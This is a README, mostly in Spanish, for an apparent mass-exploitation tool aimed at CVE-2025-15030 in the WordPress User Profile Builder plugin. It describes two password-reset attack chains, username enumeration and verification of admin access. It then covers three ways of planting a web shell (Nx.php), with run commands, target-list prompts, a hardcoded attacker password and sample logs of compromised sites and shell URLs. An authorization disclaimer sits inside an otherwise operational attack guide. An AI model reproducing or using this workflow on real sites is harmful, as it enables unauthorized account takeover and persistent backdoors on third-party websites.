
User Profile Builder < 3.15.2 - Restablecimiento arbitrario de contraseña no autenticado
User Profile Builder < 3.15.2 - Restablecimiento de contraseña arbitrario sin autenticación
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
Causa raíz:
El flujo de recuperación de contraseña del plugin Profile Builder (action2=recover_password2) no valida correctamente la clave de restablecimiento ni aplica la caducidad del token. Al enviar una solicitud POST manipulada con un password_recovery_nonce_field2 válido extraído de la página de restablecimiento, un atacante no autenticado puede establecer una nueva contraseña para cualquier usuario de WordPress — incluidos los administradores — con solo conocer su nombre de usuario. No se requiere interacción por correo electrónico ni un token de restablecimiento válido.
Esta herramienta implementa dos cadenas de ataque independientes contra cada objetivo, ambas seguidas de un despliegue opcional de shell:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Coloca Nxploited.zip en el mismo directorio que el script para habilitar la subida de shell. La herramienta funciona sin él, pero el despliegue de shell se omitirá.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
La contraseña utilizada para todos los intentos de restablecimiento e inicio de sesión está fijada internamente:
Nxploited_adminSA
list.txt — Objetivos (obligatorio)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Enlaces de restablecimiento de Profile Builder (opcional)Si has capturado enlaces de correo de restablecimiento de contraseña de Profile Builder, pégalos aquí, uno por línea. La herramienta:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
La herramienta descubre automáticamente los nombres de usuario de WordPress mediante tres métodos antes de intentar el inicio de sesión:
| Método | Endpoint |
|---|---|
| Redirección de autor | → |
Cada intento de inicio de sesión se verifica estrictamente antes de escribir los resultados. La herramienta comprueba:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Un resultado solo se escribe en disco cuando se confirman ≥ 3 marcadores de administrador.
Tras una sesión de administrador confirmada, la herramienta intenta tres métodos de escalada en orden:
Verificación de shell: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Archivo | Contenido |
|---|---|
scan_results/wp_login_reset_success.txt | Accesos de administrador confirmados mediante la cadena CORE |
scan_results/shells.txt | URLs de shell desplegadas con credenciales |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · Corregido en 3.15.2
| Campo | Detalle |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder for WordPress |
| Versiones afectadas | Todas las versiones anteriores a 3.15.2 |
| Autenticación | No se requiere |
| Tipo | Restablecimiento de contraseña incorrecto — Toma de control de cuenta sin autenticación |
| CWE | CWE-640 · Mecanismo de recuperación de contraseña débil |
/?author=1/?author=10| API REST | /wp-json/wp/v2/users |
| Heurística de hostname | Primera etiqueta del nombre de dominio |
| Respaldo predeterminado | admin siempre incluido |
| Método | Endpoint | Disparador |
|---|
| Subida de plugin | /wp-admin/update.php?action=upload-plugin | Sube Nxploited.zip mediante el formulario de instalación |
| API REST | /wp-json/wp/v2/plugins | POST ZIP directo |
| Escritura en editor | /wp-admin/plugin-editor.php | Escribe Nx.php mediante el editor de archivos |
| Columna | Significado |
|---|
KEY | Flujo de restablecimiento iniciado correctamente |
RESET | Nueva contraseña aceptada por el servidor |
ACCESS | Número de inicios de sesión de administrador confirmados |
SHELL | OK si se confirma que Nx.php está activo |